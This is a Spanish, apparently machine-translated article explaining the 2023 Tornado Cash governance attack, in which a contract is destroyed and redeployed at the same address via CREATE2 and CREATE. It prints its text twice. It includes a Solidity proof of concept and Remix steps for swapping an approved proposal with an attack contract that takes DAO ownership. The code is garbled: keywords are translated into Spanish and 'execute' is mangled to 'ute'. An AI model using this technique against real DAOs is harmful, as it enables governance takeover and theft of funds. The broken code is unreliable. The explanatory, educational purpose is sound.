Hace aproximadamente dos semanas (20 de mayo), el conocido protocolo de mezcla de divisas Tornado Cash sufrió un ataque de gobierno y los piratas informáticos obtuvieron el control (propietario) del contrato de gobierno de Tornado Cash.
El proceso de ataque es el siguiente: el atacante primero envía una propuesta de "aspecto normal", después de aprobar la propuesta, destruye la dirección del contrato que ejecutará la propuesta y recrea un contrato de ataque en esta dirección.
Para el proceso de ataque, puede ver el análisis del principio de ataque de la propuesta Tornado.Cash de SharkTeam [1] 。
La clave del ataque aquí es implementar diferentes contratos en la misma dirección. ¿Cómo se logra esto?
conocimiento de fondo
Hay dos códigos de operación en el EVM para crear contratos: CREATE y CREATE2.
CREAR código de operación
Cuando se usa el nuevo Token() para usar el código de operación CREAR, la función de cálculo de la dirección del contrato creado es:
La dirección del contrato creado está determinada por dirección del creador + Nonce del creador (número de contratos creados), ya que el Nonce siempre aumenta gradualmente, cuando aumenta el Nonce, la dirección del contrato creado siempre es diferente.
código de operación CREATE2
Al agregar un nuevo token salt{salt: bytes32()}(), se usa el código de operación CREATE2 y la función de cálculo de la dirección del contrato creado es:
La dirección del contrato creado es dirección del creador + sal personalizada + código de bytes del contrato inteligente que se implementará, por lo que solo se puede usar el mismo código de bytes y el mismo valor de sal Puede implementarse a la misma dirección del contrato.
Entonces, ¿cómo se pueden implementar diferentes contratos en la misma dirección?
Método de ataque
El atacante usa Create2 y Create juntos para crear el contrato, como se muestra en la figura:
Código referenciado desde:
Primero use Create2 para implementar un implementador de contrato, luego use Create in Deployer para crear la propuesta de contrato de destino (para uso de propuesta). Tanto los contratos de Implementador como los de Propuesta tienen implementaciones de autodestrucción (autodestrucción).
Una vez que se aprueba la propuesta, el atacante destruye los contratos del Deployer y de la Propuesta, y luego vuelve a crear el Deployer con el mismo slat. El código de bytes del Deployer sigue siendo el mismo, y el slat es el mismo, por lo que se usará la misma dirección de contrato del Deployer que antes. se puede obtener, pero en este momento se borra el Deployer El estado del contrato, y el nonce comienza desde 0, por lo que se puede crear otro ataque de contrato usando este nonce.
Ejemplo de código de ataque
Este código es de:
// Identificador de licencia SPDX: MIT
solidez de pragma ^0.8.17;
contrato DAO {
Propuesta de estructura {
destino de la dirección;
bool aprobado;
bool uted;
}
dirección pública propietario = msg.sender;
Propuesta[] propuestas públicas;
función aprobar (objetivo de dirección) externo {
require(msg.sender == propietario, "no autorizado");
propuestas.push(Propuesta({objetivo: objetivo, aprobado: verdadero, uted: falso}));
}
función ute(uint256 propuestaId) pago externo {
Propuesta de almacenamiento de propuestas = propuestas [proposalId] ;
require(propuesta.aprobada, "no aprobada");
require(!propuesta.uted, "uted");
propuesta.uted = verdadero;
(bool ok, ) = propuesta.target.delegatecall(
abi.encodeWithSignature("uteProposal()")
);
require(ok, "llamada delegada fallida");
}
}
propuesta de contrato {
Registro de eventos (mensaje de cadena);
función uteProposal() externo {
emit Log("Código ejecutado aprobado por DAO");
}
function parada de emergencia() external {
autodestrucción(a pagar(dirección(0)));
}
}
contrato de ataque {
Registro de eventos (mensaje de cadena);
dirección pública titular;
función uteProposal() externo {
emit Log("Código ejecutado no aprobado por DAO :)");
// Por ejemplo, establezca el propietario de DAO como atacante
propietario = mensaje.remitente;
}
}
contrato DeployerDeployer {
Registro de eventos (dirección de dirección);
función desplegar () externo {
bytes32 salt = keccak256(abi.encode(uint(123)));
dirección addr = dirección (nuevo implementador {salt: salt}());
emitir registro (dirección);
}
}
Implementador de contrato {
Registro de eventos (dirección de dirección);
función desplegarPropuesta() externo {
dirección addr = dirección (nueva propuesta ());
emitir registro (dirección);
}
función desplegarAtaque() externo {
dirección addr = dirección (nuevo ataque ());
emitir registro (dirección);
}
función matar () externo {
autodestrucción(a pagar(dirección(0)));
}
}
Puede usar este código para recorrerlo usted mismo en Remix.
Primero implemente DeployerDeployer, llame a DeployerDeployer.deploy() para implementar Deployer y luego llame a Deployer.deployProposal() para implementar la propuesta.
Después de obtener la dirección del contrato de propuesta de propuesta, inicie una propuesta a DAO.
Llame a Deployer.kill y Proposal.emergencyStop respectivamente para destruir Deployer y Proposal
Vuelva a llamar a DeployerDeployer.deploy() para implementar Deployer, llame a Deployer.deployAttack() para implementar Attack y Attack será coherente con la propuesta anterior.
Al ejecutar DAO.ute, el ataque ha obtenido el permiso de Propietario de DAO.
Ver originales
El contenido es solo de referencia, no una solicitud u oferta. No se proporciona asesoramiento fiscal, legal ni de inversión. Consulte el Descargo de responsabilidad para obtener más información sobre los riesgos.
Tornado Governance Attack: cómo implementar diferentes contratos en la misma dirección
Hace aproximadamente dos semanas (20 de mayo), el conocido protocolo de mezcla de divisas Tornado Cash sufrió un ataque de gobierno y los piratas informáticos obtuvieron el control (propietario) del contrato de gobierno de Tornado Cash.
El proceso de ataque es el siguiente: el atacante primero envía una propuesta de "aspecto normal", después de aprobar la propuesta, destruye la dirección del contrato que ejecutará la propuesta y recrea un contrato de ataque en esta dirección.
Para el proceso de ataque, puede ver el análisis del principio de ataque de la propuesta Tornado.Cash de SharkTeam [1] 。
La clave del ataque aquí es implementar diferentes contratos en la misma dirección. ¿Cómo se logra esto?
conocimiento de fondo
Hay dos códigos de operación en el EVM para crear contratos: CREATE y CREATE2.
CREAR código de operación
Cuando se usa el nuevo Token() para usar el código de operación CREAR, la función de cálculo de la dirección del contrato creado es:
dirección tokenAddr = bytes20(keccak256(senderAddress, nonce))
La dirección del contrato creado está determinada por dirección del creador + Nonce del creador (número de contratos creados), ya que el Nonce siempre aumenta gradualmente, cuando aumenta el Nonce, la dirección del contrato creado siempre es diferente.
código de operación CREATE2
Al agregar un nuevo token salt{salt: bytes32()}(), se usa el código de operación CREATE2 y la función de cálculo de la dirección del contrato creado es:
dirección tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
La dirección del contrato creado es dirección del creador + sal personalizada + código de bytes del contrato inteligente que se implementará, por lo que solo se puede usar el mismo código de bytes y el mismo valor de sal Puede implementarse a la misma dirección del contrato.
Entonces, ¿cómo se pueden implementar diferentes contratos en la misma dirección?
Método de ataque
El atacante usa Create2 y Create juntos para crear el contrato, como se muestra en la figura:
Primero use Create2 para implementar un implementador de contrato, luego use Create in Deployer para crear la propuesta de contrato de destino (para uso de propuesta). Tanto los contratos de Implementador como los de Propuesta tienen implementaciones de autodestrucción (autodestrucción).
Una vez que se aprueba la propuesta, el atacante destruye los contratos del Deployer y de la Propuesta, y luego vuelve a crear el Deployer con el mismo slat. El código de bytes del Deployer sigue siendo el mismo, y el slat es el mismo, por lo que se usará la misma dirección de contrato del Deployer que antes. se puede obtener, pero en este momento se borra el Deployer El estado del contrato, y el nonce comienza desde 0, por lo que se puede crear otro ataque de contrato usando este nonce.
Ejemplo de código de ataque
Este código es de:
// Identificador de licencia SPDX: MIT solidez de pragma ^0.8.17; contrato DAO { Propuesta de estructura { destino de la dirección; bool aprobado; bool uted; } dirección pública propietario = msg.sender; Propuesta[] propuestas públicas; función aprobar (objetivo de dirección) externo { require(msg.sender == propietario, "no autorizado"); propuestas.push(Propuesta({objetivo: objetivo, aprobado: verdadero, uted: falso})); } función ute(uint256 propuestaId) pago externo { Propuesta de almacenamiento de propuestas = propuestas [proposalId] ; require(propuesta.aprobada, "no aprobada"); require(!propuesta.uted, "uted"); propuesta.uted = verdadero; (bool ok, ) = propuesta.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok, "llamada delegada fallida"); } } propuesta de contrato { Registro de eventos (mensaje de cadena); función uteProposal() externo { emit Log("Código ejecutado aprobado por DAO"); } function parada de emergencia() external { autodestrucción(a pagar(dirección(0))); } } contrato de ataque { Registro de eventos (mensaje de cadena); dirección pública titular; función uteProposal() externo { emit Log("Código ejecutado no aprobado por DAO :)"); // Por ejemplo, establezca el propietario de DAO como atacante propietario = mensaje.remitente; } } contrato DeployerDeployer { Registro de eventos (dirección de dirección); función desplegar () externo { bytes32 salt = keccak256(abi.encode(uint(123))); dirección addr = dirección (nuevo implementador {salt: salt}()); emitir registro (dirección); } } Implementador de contrato { Registro de eventos (dirección de dirección); función desplegarPropuesta() externo { dirección addr = dirección (nueva propuesta ()); emitir registro (dirección); } función desplegarAtaque() externo { dirección addr = dirección (nuevo ataque ()); emitir registro (dirección); } función matar () externo { autodestrucción(a pagar(dirección(0))); } }
Puede usar este código para recorrerlo usted mismo en Remix.